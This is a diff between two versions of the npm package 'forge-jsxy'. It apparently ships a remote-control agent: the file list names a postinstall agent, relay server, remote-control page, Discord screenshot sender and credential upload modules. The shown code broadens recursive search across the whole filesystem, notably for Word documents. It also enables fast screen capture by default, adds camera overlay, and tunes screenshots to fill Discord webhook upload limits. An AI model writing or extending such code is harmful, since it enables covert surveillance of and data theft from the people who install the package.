forge-jsxy 1.0.78 → 1.0.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +965 -201
- package/assets/remote-control-template.html +1828 -409
- package/dist/assets/files-explorer-template.html +966 -202
- package/dist/assets/remote-control-template.html +1828 -409
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +14 -7
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +16 -1
- package/dist/fsProtocol.js +368 -86
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +246 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +206 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/fsProtocol.js
CHANGED
|
@@ -37,6 +37,8 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
37
37
|
};
|
|
38
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
39
|
exports.MAX_READ_BYTES = exports.MAX_LIST_ENTRIES = void 0;
|
|
40
|
+
exports.fsSearchListingIsFilesystemRoot = fsSearchListingIsFilesystemRoot;
|
|
41
|
+
exports.fsSearchWalkAllowsCurReal = fsSearchWalkAllowsCurReal;
|
|
40
42
|
exports.allowedFsRoots = allowedFsRoots;
|
|
41
43
|
exports.resolveFsPath = resolveFsPath;
|
|
42
44
|
exports.fsListDir = fsListDir;
|
|
@@ -119,6 +121,21 @@ function buildGlobSearchMatchers(token) {
|
|
|
119
121
|
const patterns = new Set([normalized]);
|
|
120
122
|
if (!normalized.includes("/"))
|
|
121
123
|
patterns.add(`**/${normalized}`);
|
|
124
|
+
/** MS Word: `*.doc` and similar should also match `.docx` (user expectation for "Word documents"). */
|
|
125
|
+
/** Symmetric: `*.docx` / `.docx` globs also match legacy `.doc`. */
|
|
126
|
+
for (const p of Array.from(patterns)) {
|
|
127
|
+
const pl = p.toLowerCase();
|
|
128
|
+
if (pl.endsWith(".doc") && !pl.endsWith(".docx"))
|
|
129
|
+
patterns.add(`${p}x`);
|
|
130
|
+
/** e.g. `*doc` / `file*doc` → also `*docx` so `report.docx` matches Word-style searches. */
|
|
131
|
+
if (/\*doc$/i.test(p) && !/\*docx$/i.test(p))
|
|
132
|
+
patterns.add(`${p}x`);
|
|
133
|
+
if (pl.endsWith(".docx")) {
|
|
134
|
+
const legacy = p.replace(/\.docx$/i, ".doc");
|
|
135
|
+
if (legacy !== p)
|
|
136
|
+
patterns.add(legacy);
|
|
137
|
+
}
|
|
138
|
+
}
|
|
122
139
|
const matchers = [];
|
|
123
140
|
for (const pattern of patterns) {
|
|
124
141
|
try {
|
|
@@ -180,9 +197,21 @@ function fsNameMatchesSearch(name, tokens) {
|
|
|
180
197
|
const loweredName = String(name || "").toLowerCase();
|
|
181
198
|
for (const token of tokens) {
|
|
182
199
|
if (token.type === "contains") {
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
200
|
+
const v = token.value;
|
|
201
|
+
if (loweredName.includes(v))
|
|
202
|
+
continue;
|
|
203
|
+
if (v === "doc" && /\.docx?$/i.test(loweredName))
|
|
204
|
+
continue;
|
|
205
|
+
if (v.endsWith(".doc") && !v.endsWith(".docx") && loweredName.includes(`${v}x`))
|
|
206
|
+
continue;
|
|
207
|
+
if (v === ".docx" && /\.doc$/i.test(loweredName))
|
|
208
|
+
continue;
|
|
209
|
+
if (v.endsWith(".docx") && v.length > 4) {
|
|
210
|
+
const legacyWant = v.replace(/\.docx$/i, ".doc");
|
|
211
|
+
if (legacyWant !== v && loweredName.includes(legacyWant))
|
|
212
|
+
continue;
|
|
213
|
+
}
|
|
214
|
+
return false;
|
|
186
215
|
}
|
|
187
216
|
if (!token.matchers.some((matcher) => matcher(loweredName)))
|
|
188
217
|
return false;
|
|
@@ -214,22 +243,6 @@ const SEARCH_SKIP_WINDOWS_SYSTEM_DIRS = new Set([
|
|
|
214
243
|
"perflogs",
|
|
215
244
|
"msocache",
|
|
216
245
|
]);
|
|
217
|
-
const SEARCH_SKIP_UNIX_SYSTEM_DIRS = new Set([
|
|
218
|
-
"proc",
|
|
219
|
-
"sys",
|
|
220
|
-
"dev",
|
|
221
|
-
"run",
|
|
222
|
-
"var",
|
|
223
|
-
"usr",
|
|
224
|
-
"bin",
|
|
225
|
-
"sbin",
|
|
226
|
-
"lib",
|
|
227
|
-
"lib64",
|
|
228
|
-
"opt",
|
|
229
|
-
"snap",
|
|
230
|
-
"tmp",
|
|
231
|
-
"lost+found",
|
|
232
|
-
]);
|
|
233
246
|
const SEARCH_SKIP_SYSTEM_FILES = new Set(["pagefile.sys", "hiberfil.sys", "swapfile.sys"]);
|
|
234
247
|
function userDataSearchRoots() {
|
|
235
248
|
const out = [];
|
|
@@ -317,18 +330,60 @@ function pathIntersectsSearchScope(p, scopeRoots) {
|
|
|
317
330
|
}
|
|
318
331
|
return false;
|
|
319
332
|
}
|
|
320
|
-
|
|
321
|
-
|
|
333
|
+
/**
|
|
334
|
+
* True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
|
|
335
|
+
* User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
|
|
336
|
+
* Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
|
|
337
|
+
*/
|
|
338
|
+
function fsSearchListingIsFilesystemRoot(dirResolved) {
|
|
339
|
+
try {
|
|
340
|
+
const rp = normCase(path.normalize(fs.realpathSync(dirResolved)));
|
|
341
|
+
if (!isWindows())
|
|
342
|
+
return rp === "/" || rp === "//";
|
|
343
|
+
return /^[a-z]:\\?$/.test(rp);
|
|
344
|
+
}
|
|
345
|
+
catch {
|
|
346
|
+
return false;
|
|
347
|
+
}
|
|
348
|
+
}
|
|
349
|
+
function fsSearchWalkAllowsCurReal(curRealNorm, listingDirNorm, listingDirResolved, enforceUserScope, userSubtreeRoots) {
|
|
350
|
+
if (!pathUnder(curRealNorm, listingDirNorm))
|
|
351
|
+
return false;
|
|
352
|
+
const narrowToUserSubtrees = enforceUserScope &&
|
|
353
|
+
userSubtreeRoots != null &&
|
|
354
|
+
userSubtreeRoots.length > 0 &&
|
|
355
|
+
fsSearchListingIsFilesystemRoot(listingDirResolved);
|
|
356
|
+
if (narrowToUserSubtrees)
|
|
357
|
+
return pathIntersectsSearchScope(curRealNorm, userSubtreeRoots);
|
|
358
|
+
return true;
|
|
359
|
+
}
|
|
360
|
+
/**
|
|
361
|
+
* Skip rules while walking the search tree. Unix: **do not** skip by basename (`tmp/`, `bin/`, etc.)
|
|
362
|
+
* inside project trees — only skip resolved paths under kernel/virtual mounts (`/proc`, `/sys`, …).
|
|
363
|
+
*/
|
|
364
|
+
function shouldSkipSearchTreeEntry(childAbs, baseName, isDir) {
|
|
365
|
+
const n = String(baseName || "").trim().toLowerCase();
|
|
322
366
|
if (!n)
|
|
323
367
|
return false;
|
|
324
|
-
if (isDir
|
|
325
|
-
return
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
if (isDir && !isWindows() && SEARCH_SKIP_UNIX_SYSTEM_DIRS.has(n))
|
|
368
|
+
if (!isDir) {
|
|
369
|
+
return SEARCH_SKIP_SYSTEM_FILES.has(n);
|
|
370
|
+
}
|
|
371
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(baseName))
|
|
329
372
|
return true;
|
|
330
|
-
if (
|
|
373
|
+
if (isWindows() && SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(n))
|
|
331
374
|
return true;
|
|
375
|
+
if (!isWindows()) {
|
|
376
|
+
try {
|
|
377
|
+
const rp = normCase(fs.realpathSync(childAbs));
|
|
378
|
+
for (const pre of ["/proc", "/sys", "/dev", "/run"]) {
|
|
379
|
+
if (rp === pre || rp.startsWith(pre + path.sep))
|
|
380
|
+
return true;
|
|
381
|
+
}
|
|
382
|
+
}
|
|
383
|
+
catch {
|
|
384
|
+
/* broken symlink / unreadable — still allow match attempt */
|
|
385
|
+
}
|
|
386
|
+
}
|
|
332
387
|
return false;
|
|
333
388
|
}
|
|
334
389
|
function searchUserDataOnlyEnabled() {
|
|
@@ -337,7 +392,11 @@ function searchUserDataOnlyEnabled() {
|
|
|
337
392
|
.toLowerCase();
|
|
338
393
|
if (raw)
|
|
339
394
|
return ["1", "true", "yes", "on"].includes(raw);
|
|
340
|
-
|
|
395
|
+
/**
|
|
396
|
+
* Production default on: from a drive/root-like listing, recursive search stays under profile-related
|
|
397
|
+
* subtrees. Folders **outside** those (other volumes, `/tmp`, etc.) still deep-search starting at the
|
|
398
|
+
* current directory — see `scopeRoots` fallback in {@link fsListDir}.
|
|
399
|
+
*/
|
|
341
400
|
return String(process.env.NODE_ENV || "").trim().toLowerCase() !== "test";
|
|
342
401
|
}
|
|
343
402
|
/**
|
|
@@ -633,30 +692,37 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
633
692
|
const searchScanCap = maxSearchScanEntries();
|
|
634
693
|
const userScopeRoots = userDataSearchRoots();
|
|
635
694
|
const enforceUserScope = searchUserDataOnlyEnabled();
|
|
636
|
-
|
|
637
|
-
|
|
638
|
-
|
|
639
|
-
|
|
640
|
-
|
|
641
|
-
|
|
642
|
-
|
|
643
|
-
|
|
644
|
-
|
|
645
|
-
|
|
646
|
-
truncated: false,
|
|
647
|
-
search_query: parsedSearch.normalized,
|
|
648
|
-
search_applied: true,
|
|
649
|
-
search_recursive: true,
|
|
650
|
-
search_scan_limited: false,
|
|
651
|
-
search_scanned_entries: 0,
|
|
652
|
-
};
|
|
695
|
+
/**
|
|
696
|
+
* Optional subtrees (Desktop/Documents/Downloads, …) used **only** when the listing path is a bare
|
|
697
|
+
* filesystem root (`C:\\`, `/`). Otherwise the walk is bounded by {@link pathUnder}(`cur`, `dir`)
|
|
698
|
+
* so profile folders like Pictures/Videos are never incorrectly excluded.
|
|
699
|
+
*/
|
|
700
|
+
let userSubtreeRoots = null;
|
|
701
|
+
if (enforceUserScope && userScopeRoots.length > 0) {
|
|
702
|
+
const intersecting = userScopeRoots.filter((root) => pathIntersectsSearchScope(dir, [root]));
|
|
703
|
+
if (intersecting.length > 0)
|
|
704
|
+
userSubtreeRoots = intersecting;
|
|
653
705
|
}
|
|
706
|
+
const listingDirNorm = normCase(path.normalize(dir));
|
|
654
707
|
const queue = [{ abs: dir, rel: "" }];
|
|
655
708
|
let qIdx = 0;
|
|
709
|
+
/** Avoid cycles / duplicate work when directory symlinks point into already-visited real paths. */
|
|
710
|
+
const visitedSearchRealPaths = new Set();
|
|
656
711
|
while (qIdx < queue.length) {
|
|
657
712
|
const cur = queue[qIdx++];
|
|
658
|
-
|
|
713
|
+
let curReal = "";
|
|
714
|
+
try {
|
|
715
|
+
curReal = normCase(fs.realpathSync(cur.abs));
|
|
716
|
+
}
|
|
717
|
+
catch {
|
|
718
|
+
continue;
|
|
719
|
+
}
|
|
720
|
+
if (visitedSearchRealPaths.has(curReal))
|
|
659
721
|
continue;
|
|
722
|
+
visitedSearchRealPaths.add(curReal);
|
|
723
|
+
if (!fsSearchWalkAllowsCurReal(curReal, listingDirNorm, dir, enforceUserScope, userSubtreeRoots)) {
|
|
724
|
+
continue;
|
|
725
|
+
}
|
|
660
726
|
let names;
|
|
661
727
|
try {
|
|
662
728
|
names = fs.readdirSync(cur.abs, { withFileTypes: true });
|
|
@@ -672,12 +738,16 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
672
738
|
searchScanLimited = true;
|
|
673
739
|
break;
|
|
674
740
|
}
|
|
675
|
-
if (shouldSkipSearchEntryName(ent.name, ent.isDirectory()))
|
|
676
|
-
continue;
|
|
677
741
|
const childAbs = path.join(cur.abs, ent.name);
|
|
678
742
|
const childRel = cur.rel ? path.join(cur.rel, ent.name) : ent.name;
|
|
679
|
-
if (
|
|
743
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
|
|
744
|
+
continue;
|
|
745
|
+
if (isWindows() &&
|
|
746
|
+
ent.isDirectory() &&
|
|
747
|
+
!ent.isSymbolicLink() &&
|
|
748
|
+
SEARCH_SKIP_WINDOWS_SYSTEM_DIRS.has(String(ent.name || "").trim().toLowerCase())) {
|
|
680
749
|
continue;
|
|
750
|
+
}
|
|
681
751
|
if (macosPathRequiresTccPrompt(childAbs))
|
|
682
752
|
continue;
|
|
683
753
|
let lst;
|
|
@@ -695,9 +765,9 @@ function fsListDir(pathStr, roots = null, searchQuery = "") {
|
|
|
695
765
|
catch {
|
|
696
766
|
continue;
|
|
697
767
|
}
|
|
698
|
-
if (
|
|
768
|
+
if (shouldSkipSearchTreeEntry(childAbs, ent.name, isDir))
|
|
699
769
|
continue;
|
|
700
|
-
if (isDir
|
|
770
|
+
if (isDir)
|
|
701
771
|
queue.push({ abs: childAbs, rel: childRel });
|
|
702
772
|
if (!fsEntryMatchesSearch(ent.name, childRel, parsedSearch.tokens))
|
|
703
773
|
continue;
|
|
@@ -2340,15 +2410,15 @@ function screenshotHardCapBytes(overrideMaxBytes) {
|
|
|
2340
2410
|
/**
|
|
2341
2411
|
* Lower bound for remote-stream JPEG target bytes as a ratio of the negotiated
|
|
2342
2412
|
* hard cap. Higher ratio means less over-compression (clearer text), while
|
|
2343
|
-
* still respecting the absolute cap. Range: 0.55 .. 0.98.
|
|
2413
|
+
* still respecting the absolute cap. Range: 0.55 .. 0.98. Default **0.72** (unset env).
|
|
2344
2414
|
*/
|
|
2345
2415
|
function remoteStreamJpegFloorRatio() {
|
|
2346
2416
|
const raw = (process.env.FORGE_JS_REMOTE_STREAM_JPEG_FLOOR_RATIO || "").trim();
|
|
2347
2417
|
if (!raw)
|
|
2348
|
-
return 0.
|
|
2418
|
+
return 0.72;
|
|
2349
2419
|
const n = Number(raw);
|
|
2350
2420
|
if (!Number.isFinite(n))
|
|
2351
|
-
return 0.
|
|
2421
|
+
return 0.72;
|
|
2352
2422
|
return Math.min(0.98, Math.max(0.55, n));
|
|
2353
2423
|
}
|
|
2354
2424
|
/**
|
|
@@ -2365,17 +2435,35 @@ function remoteStreamUseVirtualOffsets() {
|
|
|
2365
2435
|
return ["1", "true", "yes", "on"].includes(raw);
|
|
2366
2436
|
}
|
|
2367
2437
|
/**
|
|
2368
|
-
* Fast gdigrab path for Windows remote_stream
|
|
2369
|
-
*
|
|
2370
|
-
*
|
|
2438
|
+
* Fast ffmpeg gdigrab path for Windows `remote_stream`. **On by default** for lower
|
|
2439
|
+
* capture latency; falls back to full VirtualScreen PowerShell capture when gdigrab
|
|
2440
|
+
* looks partial/wrong. Disable with `FORGE_JS_REMOTE_STREAM_FAST_CAPTURE=0` (or
|
|
2441
|
+
* `false` / `no` / `off`) if a host misbehaves with gdigrab.
|
|
2371
2442
|
*/
|
|
2372
2443
|
function remoteStreamUseFastCapture() {
|
|
2373
2444
|
const raw = String(process.env.FORGE_JS_REMOTE_STREAM_FAST_CAPTURE || "")
|
|
2374
2445
|
.trim()
|
|
2375
2446
|
.toLowerCase();
|
|
2376
2447
|
if (!raw)
|
|
2448
|
+
return true;
|
|
2449
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
2377
2450
|
return false;
|
|
2378
|
-
return
|
|
2451
|
+
return true;
|
|
2452
|
+
}
|
|
2453
|
+
/**
|
|
2454
|
+
* ffmpeg MJPEG `-q:v` for Windows gdigrab remote_stream (2 = high quality / larger,
|
|
2455
|
+
* 31 = smaller / faster). Override via `FORGE_JS_REMOTE_STREAM_JPEG_Q`.
|
|
2456
|
+
* Default **14** — latency-first dashboard (smaller/faster than 12); use `FORGE_JS_REMOTE_STREAM_JPEG_Q=10`
|
|
2457
|
+
* if text must stay sharper.
|
|
2458
|
+
*/
|
|
2459
|
+
function remoteStreamJpegQuality() {
|
|
2460
|
+
const raw = String(process.env.FORGE_JS_REMOTE_STREAM_JPEG_Q || "").trim();
|
|
2461
|
+
if (!raw)
|
|
2462
|
+
return 14;
|
|
2463
|
+
const n = parseInt(raw, 10);
|
|
2464
|
+
if (!Number.isFinite(n))
|
|
2465
|
+
return 14;
|
|
2466
|
+
return Math.min(31, Math.max(2, n));
|
|
2379
2467
|
}
|
|
2380
2468
|
function cameraOverlayEnabledByDefault() {
|
|
2381
2469
|
const raw = String(process.env.FORGE_JS_CAMERA_OVERLAY_ENABLED || "").trim().toLowerCase();
|
|
@@ -2389,6 +2477,13 @@ function cameraOverlayWidthPercent() {
|
|
|
2389
2477
|
return 20;
|
|
2390
2478
|
return Math.min(40, Math.max(10, raw));
|
|
2391
2479
|
}
|
|
2480
|
+
/** Default on: prioritize filling Discord/Webhook attachment cap with best JPEG; set `FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY=0` to revert to smallest-first ffmpeg passes (faster encode, blurrier). */
|
|
2481
|
+
function discordAttachmentPreferQualityWithinCap() {
|
|
2482
|
+
const raw = String(process.env.FORGE_JS_DISCORD_ATTACHMENT_PREFER_QUALITY ?? "1")
|
|
2483
|
+
.trim()
|
|
2484
|
+
.toLowerCase();
|
|
2485
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
2486
|
+
}
|
|
2392
2487
|
function normalizeScreenshotCaptureOptions(options) {
|
|
2393
2488
|
const o = options || {};
|
|
2394
2489
|
const streamProfile = String(o.stream_profile || "").trim().toLowerCase();
|
|
@@ -2444,9 +2539,9 @@ function formatScreenshotLegacyTooLargeError(size, cap) {
|
|
|
2444
2539
|
* When {@link shrinkScreenshotFileToMaxBytes} fails (AV locks path, NFS, odd FS), we still hold `raw` in RAM —
|
|
2445
2540
|
* Jimp/ffmpeg often succeed from a buffer or a fresh temp write.
|
|
2446
2541
|
*/
|
|
2447
|
-
async function rescueScreenshotBufferUnderCap(raw, hardCap) {
|
|
2542
|
+
async function rescueScreenshotBufferUnderCap(raw, hardCap, prefs) {
|
|
2448
2543
|
for (const t of screenshotShrinkTierTargets(hardCap)) {
|
|
2449
|
-
const out = await shrinkScreenshotBufferToMaxBytes(raw, t);
|
|
2544
|
+
const out = await shrinkScreenshotBufferToMaxBytes(raw, t, prefs);
|
|
2450
2545
|
if (out && out.buffer.length <= hardCap) {
|
|
2451
2546
|
return out;
|
|
2452
2547
|
}
|
|
@@ -2456,7 +2551,7 @@ async function rescueScreenshotBufferUnderCap(raw, hardCap) {
|
|
|
2456
2551
|
/**
|
|
2457
2552
|
* Final attempts with very small encode budgets (must succeed whenever Jimp or ffmpeg can read the image).
|
|
2458
2553
|
*/
|
|
2459
|
-
async function lastResortScreenshotShrinkBuffer(raw, hardCap) {
|
|
2554
|
+
async function lastResortScreenshotShrinkBuffer(raw, hardCap, prefs) {
|
|
2460
2555
|
const micro = [
|
|
2461
2556
|
32 * 1024,
|
|
2462
2557
|
24 * 1024,
|
|
@@ -2471,7 +2566,7 @@ async function lastResortScreenshotShrinkBuffer(raw, hardCap) {
|
|
|
2471
2566
|
1024,
|
|
2472
2567
|
];
|
|
2473
2568
|
for (const t of micro) {
|
|
2474
|
-
const out = await shrinkScreenshotBufferToMaxBytes(raw, t);
|
|
2569
|
+
const out = await shrinkScreenshotBufferToMaxBytes(raw, t, prefs);
|
|
2475
2570
|
if (out && out.buffer.length <= hardCap) {
|
|
2476
2571
|
return out;
|
|
2477
2572
|
}
|
|
@@ -2493,6 +2588,9 @@ async function resultFromPngPath(outPath, options) {
|
|
|
2493
2588
|
return { ok: false, error: "screenshot produced no image file" };
|
|
2494
2589
|
}
|
|
2495
2590
|
const hardCap = screenshotHardCapBytes(options?.maxBytes ?? null);
|
|
2591
|
+
const shrinkPrefs = options?.streamProfile === "discord_upload" && discordAttachmentPreferQualityWithinCap()
|
|
2592
|
+
? { preferQualityNearCap: true }
|
|
2593
|
+
: undefined;
|
|
2496
2594
|
if (options?.includeCamera && options.streamProfile !== "remote_stream") {
|
|
2497
2595
|
const ffmpeg = resolveFfmpegForShrink();
|
|
2498
2596
|
if (ffmpeg) {
|
|
@@ -2504,20 +2602,20 @@ async function resultFromPngPath(outPath, options) {
|
|
|
2504
2602
|
if (buf.length > hardCap) {
|
|
2505
2603
|
let shrunk = null;
|
|
2506
2604
|
for (const tier of screenshotShrinkTierTargets(hardCap)) {
|
|
2507
|
-
shrunk = await shrinkScreenshotFileToMaxBytes(outPath, tier);
|
|
2605
|
+
shrunk = await shrinkScreenshotFileToMaxBytes(outPath, tier, shrinkPrefs);
|
|
2508
2606
|
if (shrunk && shrunk.buffer.length <= hardCap) {
|
|
2509
2607
|
break;
|
|
2510
2608
|
}
|
|
2511
2609
|
shrunk = null;
|
|
2512
2610
|
}
|
|
2513
2611
|
if (!shrunk || shrunk.buffer.length > hardCap) {
|
|
2514
|
-
const rescued = await rescueScreenshotBufferUnderCap(buf, hardCap);
|
|
2612
|
+
const rescued = await rescueScreenshotBufferUnderCap(buf, hardCap, shrinkPrefs);
|
|
2515
2613
|
if (rescued && rescued.buffer.length <= hardCap) {
|
|
2516
2614
|
shrunk = rescued;
|
|
2517
2615
|
}
|
|
2518
2616
|
}
|
|
2519
2617
|
if (!shrunk || shrunk.buffer.length > hardCap) {
|
|
2520
|
-
const last = await lastResortScreenshotShrinkBuffer(buf, hardCap);
|
|
2618
|
+
const last = await lastResortScreenshotShrinkBuffer(buf, hardCap, shrinkPrefs);
|
|
2521
2619
|
if (last && last.buffer.length <= hardCap) {
|
|
2522
2620
|
shrunk = last;
|
|
2523
2621
|
}
|
|
@@ -2538,9 +2636,9 @@ async function resultFromPngPath(outPath, options) {
|
|
|
2538
2636
|
mime = shrunk.mime;
|
|
2539
2637
|
}
|
|
2540
2638
|
if (buf.length > hardCap) {
|
|
2541
|
-
let rescued = await rescueScreenshotBufferUnderCap(buf, hardCap);
|
|
2639
|
+
let rescued = await rescueScreenshotBufferUnderCap(buf, hardCap, shrinkPrefs);
|
|
2542
2640
|
if (!rescued || rescued.buffer.length > hardCap) {
|
|
2543
|
-
rescued = await lastResortScreenshotShrinkBuffer(buf, hardCap);
|
|
2641
|
+
rescued = await lastResortScreenshotShrinkBuffer(buf, hardCap, shrinkPrefs);
|
|
2544
2642
|
}
|
|
2545
2643
|
if (!rescued || rescued.buffer.length > hardCap) {
|
|
2546
2644
|
const fb = screenshotGuaranteedPlaceholderUnderCap(hardCap);
|
|
@@ -2998,6 +3096,85 @@ function ffmpegAggressiveJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id) {
|
|
|
2998
3096
|
}
|
|
2999
3097
|
return null;
|
|
3000
3098
|
}
|
|
3099
|
+
/**
|
|
3100
|
+
* Discord uploads: among encodes with size ≤ cap, return the **largest** buffer (best use of byte budget).
|
|
3101
|
+
* Contrasts with {@link ffmpegAggressiveJpegFileUnderCap}, which returns the first fit (usually far under cap).
|
|
3102
|
+
*/
|
|
3103
|
+
function ffmpegPreferQualityJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id) {
|
|
3104
|
+
const ffmpeg = resolveFfmpegForShrink();
|
|
3105
|
+
if (!ffmpeg)
|
|
3106
|
+
return null;
|
|
3107
|
+
const shrinkEnv = envForShrinkSpawn();
|
|
3108
|
+
const w0 = Math.max(1, iw);
|
|
3109
|
+
const h0 = Math.max(1, ih);
|
|
3110
|
+
const maxSides = [
|
|
3111
|
+
8192, 7680, 7168, 6144, 5120, 4096, 3840, 3440, 3200, 2560, 2048, 1920, 1600, 1280, 1024,
|
|
3112
|
+
];
|
|
3113
|
+
const qvs = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 31];
|
|
3114
|
+
let best = null;
|
|
3115
|
+
let bestLen = 0;
|
|
3116
|
+
for (const maxSide of maxSides) {
|
|
3117
|
+
let tw = w0;
|
|
3118
|
+
let th = h0;
|
|
3119
|
+
if (Math.max(tw, th) > maxSide) {
|
|
3120
|
+
if (tw >= th) {
|
|
3121
|
+
tw = maxSide;
|
|
3122
|
+
th = Math.max(1, Math.round((h0 * maxSide) / w0));
|
|
3123
|
+
}
|
|
3124
|
+
else {
|
|
3125
|
+
th = maxSide;
|
|
3126
|
+
tw = Math.max(1, Math.round((w0 * maxSide) / h0));
|
|
3127
|
+
}
|
|
3128
|
+
}
|
|
3129
|
+
for (const qv of qvs) {
|
|
3130
|
+
const outPath = path.join(tmpDir, `forge-fe-ffpq-${id}-${maxSide}-${qv}.jpg`);
|
|
3131
|
+
try {
|
|
3132
|
+
const r = (0, node_child_process_1.spawnSync)(ffmpeg, [
|
|
3133
|
+
"-nostdin",
|
|
3134
|
+
"-hide_banner",
|
|
3135
|
+
"-loglevel",
|
|
3136
|
+
"error",
|
|
3137
|
+
"-y",
|
|
3138
|
+
"-i",
|
|
3139
|
+
sourcePath,
|
|
3140
|
+
"-vf",
|
|
3141
|
+
`scale=${tw}:${th}:flags=lanczos`,
|
|
3142
|
+
"-q:v",
|
|
3143
|
+
String(qv),
|
|
3144
|
+
"-frames:v",
|
|
3145
|
+
"1",
|
|
3146
|
+
outPath,
|
|
3147
|
+
], { timeout: 120_000, env: shrinkEnv, stdio: "ignore" });
|
|
3148
|
+
if (r.status !== 0 || !fs.existsSync(outPath))
|
|
3149
|
+
continue;
|
|
3150
|
+
const jbuf = fs.readFileSync(outPath);
|
|
3151
|
+
try {
|
|
3152
|
+
fs.unlinkSync(outPath);
|
|
3153
|
+
}
|
|
3154
|
+
catch {
|
|
3155
|
+
/* skip */
|
|
3156
|
+
}
|
|
3157
|
+
if (jbuf.length <= cap && jbuf.length > bestLen) {
|
|
3158
|
+
best = jbuf;
|
|
3159
|
+
bestLen = jbuf.length;
|
|
3160
|
+
}
|
|
3161
|
+
}
|
|
3162
|
+
catch {
|
|
3163
|
+
try {
|
|
3164
|
+
if (fs.existsSync(outPath))
|
|
3165
|
+
fs.unlinkSync(outPath);
|
|
3166
|
+
}
|
|
3167
|
+
catch {
|
|
3168
|
+
/* skip */
|
|
3169
|
+
}
|
|
3170
|
+
}
|
|
3171
|
+
}
|
|
3172
|
+
if (best && bestLen >= cap * 0.985) {
|
|
3173
|
+
break;
|
|
3174
|
+
}
|
|
3175
|
+
}
|
|
3176
|
+
return best ? { buffer: best, mime: "image/jpeg" } : null;
|
|
3177
|
+
}
|
|
3001
3178
|
/**
|
|
3002
3179
|
* PNG/JPEG bytes on ffmpeg stdin — succeeds when `-i path` fails (permissions, AV) but RAM holds the image.
|
|
3003
3180
|
*/
|
|
@@ -3063,6 +3240,76 @@ function ffmpegStdinImageBytesToJpegUnderCap(inputBytes, cap, tmpDir, id) {
|
|
|
3063
3240
|
}
|
|
3064
3241
|
return null;
|
|
3065
3242
|
}
|
|
3243
|
+
/**
|
|
3244
|
+
* stdin pipe variant of {@link ffmpegPreferQualityJpegFileUnderCap} for huge buffers when temp read path fails.
|
|
3245
|
+
*/
|
|
3246
|
+
function ffmpegStdinPreferQualityImageBytesToJpegUnderCap(inputBytes, cap, tmpDir, id) {
|
|
3247
|
+
const ffmpeg = resolveFfmpegForShrink();
|
|
3248
|
+
if (!ffmpeg || inputBytes.length < 24)
|
|
3249
|
+
return null;
|
|
3250
|
+
const shrinkEnv = envForShrinkSpawn();
|
|
3251
|
+
const maxSides = [
|
|
3252
|
+
8192, 7680, 6144, 5120, 4096, 3840, 3200, 2560, 2048, 1920, 1600, 1280, 1024, 800, 640,
|
|
3253
|
+
];
|
|
3254
|
+
const qvs = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 31];
|
|
3255
|
+
let best = null;
|
|
3256
|
+
let bestLen = 0;
|
|
3257
|
+
for (const maxSide of maxSides) {
|
|
3258
|
+
for (const qv of qvs) {
|
|
3259
|
+
const outPath = path.join(tmpDir, `forge-fe-ffpqi-${id}-${maxSide}-${qv}.jpg`);
|
|
3260
|
+
try {
|
|
3261
|
+
const r = (0, node_child_process_1.spawnSync)(ffmpeg, [
|
|
3262
|
+
"-hide_banner",
|
|
3263
|
+
"-loglevel",
|
|
3264
|
+
"error",
|
|
3265
|
+
"-y",
|
|
3266
|
+
"-f",
|
|
3267
|
+
"image2pipe",
|
|
3268
|
+
"-i",
|
|
3269
|
+
"pipe:0",
|
|
3270
|
+
"-vf",
|
|
3271
|
+
`scale=${maxSide}:-2:flags=lanczos`,
|
|
3272
|
+
"-q:v",
|
|
3273
|
+
String(qv),
|
|
3274
|
+
"-frames:v",
|
|
3275
|
+
"1",
|
|
3276
|
+
outPath,
|
|
3277
|
+
], {
|
|
3278
|
+
input: inputBytes,
|
|
3279
|
+
timeout: 120_000,
|
|
3280
|
+
env: shrinkEnv,
|
|
3281
|
+
windowsHide: process.platform === "win32",
|
|
3282
|
+
maxBuffer: 64 * 1024 * 1024,
|
|
3283
|
+
});
|
|
3284
|
+
if (r.status !== 0 || !fs.existsSync(outPath))
|
|
3285
|
+
continue;
|
|
3286
|
+
const jbuf = fs.readFileSync(outPath);
|
|
3287
|
+
try {
|
|
3288
|
+
fs.unlinkSync(outPath);
|
|
3289
|
+
}
|
|
3290
|
+
catch {
|
|
3291
|
+
/* skip */
|
|
3292
|
+
}
|
|
3293
|
+
if (jbuf.length <= cap && jbuf.length > bestLen) {
|
|
3294
|
+
best = jbuf;
|
|
3295
|
+
bestLen = jbuf.length;
|
|
3296
|
+
}
|
|
3297
|
+
}
|
|
3298
|
+
catch {
|
|
3299
|
+
try {
|
|
3300
|
+
if (fs.existsSync(outPath))
